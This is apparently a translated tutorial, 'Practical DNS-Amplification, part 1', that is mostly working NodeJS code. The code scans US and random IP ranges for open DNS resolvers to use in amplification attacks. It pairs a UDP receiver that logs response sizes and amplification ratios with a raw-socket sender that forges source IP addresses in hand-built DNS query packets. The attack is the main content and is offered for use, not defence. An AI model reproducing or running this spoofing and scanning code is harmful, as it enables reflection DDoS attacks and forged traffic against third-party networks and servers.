Practical DNS-Amplification, part 1More efficient hosts scanningPreviously described step restricts from rapid increase in power due to:
More efficient approach is to scan from 2 servers, one dedicated to receiving packets from DNS, while another sends spoofed IP packets to DNS. It is mandatory that servers must be allocated in different data-centers, different countries preferred. There may be one or several spoofing servers. I checked with 2 spoofing and one receiving servers. NodeJS applications are used to receive and send packets. Let's call receiving side the "client". It is crucially simplified. Functional example:
var dgram = require('dgram'); var fs = require('fs'); var dns = require('dns'); var util = require('util'); var ws = fs.createWriteStream("incoming_ips.txt", { flags: 'w+' }); var server = dgram.createSocket("udp4"); function getPercent(total, amount){ return (amount * 100) / total; } server.on('error', function(msg, rinfo){ console.log('server error'); }); server.on('message', function(msg, rinfo){ if(msg.length > 100){ var line = util.format("%d:%s:%d:%d", msg.length, rinfo.address, rinfo.port, getPercent(17, msg.length)); console.log(line); ws.write(line + 'n'); } }); server.bind(5353); console.log('NS Client started'); This code will capture all of our logged packets, and the log would be parser friendly. A separate server would be introduced as a string: packet_size:DNS_IP:amplification_ratio Spoofing partSpoofing part is coded using node-raw-socket UNIX-sockets wrapper for *nix that allows to craft custom IP headers for outgoing packets. Of course this requires root priveleges. The principle is simple. We have crafted DNS request packet, along with IP header and UDP packet with DNS-query payload: var buffer = new Buffer ([ //--------- IP packet ---------- 0x45, 0x00, 0x00, 0x25, //length 0x7c, 0x9b, //ID 0x00, 0x00, //flagsfragment offset 0x80, //TTL 0x11, //protocol 0x00, 0x00, //crc 0x00, 0x00, 0x00, 0x00, //source IP 0xc0, 0xa8, 0x41, 0x01, //dest IP //--------- 8 bytes of UDP packet ---------- 0x14, 0xE9, //sender port 0x00, 0x35, //target port 0x00, 0x19, //data length 0x00, 0x00, //crc //--------- 17 bytes of DNS packet ---------- 0x00, 0x03, 0x01, 0x00, 0x00,0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x01 ]); All we need is to insert addresses into IP header:
Source port 5353 used in UDP packet is the same port client listens to. Checksums are set to 0 for OS stack to recalculate checksums while sending packets. Where to get IP addresses?Random generated numbers shows good results, and it's possible to scan countries' ranges. I took listed ranges: 3.0.0.0-3.103.8.36 3.103.8.38-4.18.65.255 4.18.68.0-4.28.83.255 4.28.85.0-4.31.64.63 4.31.64.72-4.59.175.255 4.59.177.0-4.68.23.139 4.68.23.141-4.68.23.189 4.68.23.191-4.68.25.1 4.68.25.4-4.68.115.255 4.68.118.0-4.69.131.255 4.69.132.53-4.69.132.53 4.69.132.61-4.69.132.61 4.69.132.65-4.69.132.65 and explored them subsequently. It is important to provide subsequent packet flow on
asynchronous architecture. To ensure this a spike was made proven rather stable, loading
20 megabits of 100 available and not blocking node's event pool. function repeater(diapasons, nextIp , endIp) { async(function(){ process.nextTick(function(){ repeater(diapasons, current_ip + 1, endIp); }); }); } repeater(undefined, undefined, undefined); It requires raw-socket module to execute: npm install raw-socket var raw = require ("raw-socket"); var fs = require('fs'); var dns = require('dns'); var util = require('util'); var options = { protocol: raw.Protocol.UDP, bufferSize: 4096*8 }; var socket = raw.createSocket (options); socket.setOption (raw.SocketLevel.IPPROTO_IP, raw.SocketOption.IP_HDRINCL, new Buffer ([0x00, 0x00, 0x00, 0x01]), 4); var buffer = new Buffer ([ //--------- IP packet ---------- 0x45, 0x00, 0x00, 0x25, //length 0x7c, 0x9b, //ID 0x00, 0x00, //flagsfragment offset 0x80, //TTL 0x11, //protocol 0x00, 0x00, //crc 0x00, 0x00, 0x00, 0x00, //source IP 0xc0, 0xa8, 0x41, 0x01, //dest IP //--------- 8 bytes of UDP packet ---------- 0x14, 0xE9, //sender port 0x00, 0x35, //target port 0x00, 0x19, //data length 0x00, 0x00, //crc //--------- 17 bytes of DNS packet ---------- 0x00, 0x03, 0x01, 0x00, 0x00,0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x01 ]); function ip2long ( ip_address ) { var output = false; var parts = []; if (ip_address.match(/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/)) { parts = ip_address.split('.'); output = ( parts[0] * 16777216 + ( parts[1] * 65536 ) + ( parts[2] * 256 ) + ( parts[3] * 1 ) ); } return output; } function long2ip ( proper_address ) { var output = false; if ( !isNaN ( proper_address ) && ( proper_address >= 0 || proper_address <= 4294967295 ) ) { output = Math.floor (proper_address / Math.pow ( 256, 3 ) ) + '.' + Math.floor ( ( proper_address % Math.pow ( 256, 3 ) ) / Math.pow ( 256, 2 ) ) + '.' + Math.floor ( ( ( proper_address % Math.pow ( 256, 3 ) ) % Math.pow ( 256, 2 ) ) / Math.pow ( 256, 1 ) ) + '.' + Math.floor ( ( ( ( proper_address % Math.pow ( 256, 3 ) ) % Math.pow ( 256, 2 ) ) % Math.pow ( 256, 1 ) ) / Math.pow ( 256, 0 ) ); } return output; } function rand(max){ return Math.floor(Math.random()*max) } function ip_packet_length(buff, newval){ if(typeof(newval) !== 'undefined'){ buff.writeUInt16BE(newval, 2); } return buff.readUInt16BE(2); } function ip_packet_id(buff, newval){ if(typeof(newval) !== 'undefined'){ buff.writeUInt16BE(newval, 4); } return buff.readUInt16BE(4); } function ip_packet_ttl(buff, newval){ if(typeof(newval) !== 'undefined'){ buff.writeUInt8(newval, 8); } return buff.readUInt8(8); } function ip_packet_proto(buff, newval){ if(typeof(newval) !== 'undefined'){ buff.writeUInt8(newval, 9); } return buff.readUInt8(9); } function ip_packet_crc(buff, newval){ if(typeof(newval) !== 'undefined'){ buff.writeUInt16BE(newval, 10); } return buff.readUInt16BE(10); } function ip_packet_source_addr(buff, newval){ if(typeof(newval) !== 'undefined'){ buff.writeUInt32BE(newval, 12); } return buff.readUInt32BE(12); } function ip_packet_dest_addr(buff, newval){ if(typeof(newval) !== 'undefined'){ buff.writeUInt32BE(newval, 16); } return buff.readUInt32BE(16); } //process IP ranges function parseIpFile(filename){ var diapasons = []; var ip_database = fs.readFileSync(filename).toString().split('n'); console.log("ranges readed : %d", ip_database.length); var totalAddreses = 0; for(var i = 0; i < ip_database.length; i ++){ var rangeStartEnd = ip_database[i].split('-'); var startIp = ip2long(rangeStartEnd[0]); var endIp = ip2long(rangeStartEnd[1]); totalAddreses += (endIp - startIp); diapasons.push([ startIp, endIp ]); } console.log('total addreses : %d', totalAddreses); return diapasons; } function sendPacket(possibleNSip, callback){ ip_packet_dest_addr(buffer, possibleNSip); ip_packet_source_addr(buffer, collectorIpLong); socket.send (buffer, 0, buffer.length, long2ip(possibleNSip), function (error, bytes) { callback(); }); } function randomIp(){ return ip2long([rand(250),rand(250),rand(250), rand(250)].join('.')); } function repeater(diapasons, nextIp , endIp) { var current_ip = nextIp; if(typeof(diapasons) === 'undefined'){ current_ip = randomIp(); } if(typeof(current_ip) === 'undefined'){ var current_iprange = diapasons.shift(); if( current_iprange.length > 0) { current_ip = current_iprange[0]; endIp = current_iprange[1]; }else{ repeater(diapasons, undefined, undefined); } } sendPacket(current_ip, function(){ if(current_ip === endIp){ console.log('end of range, try next'); repeater(diapasons, undefined, undefined); }else{ process.nextTick(function(){ repeater(diapasons, current_ip + 1, endIp); }); } }); } var collectorIp = '1.2.3.4'; // IP клиента, принимающего пакеты var collectorIpLong = ip2long(collectorIp); //для рандома передаем undefined вместо списка айпи //repeater(undefined, undefined, undefined); //для отправке по диапазонам, передаем отпарсенный диапазон repeater(parseIpFile('US_ipranges.txt'), undefined, undefined);
|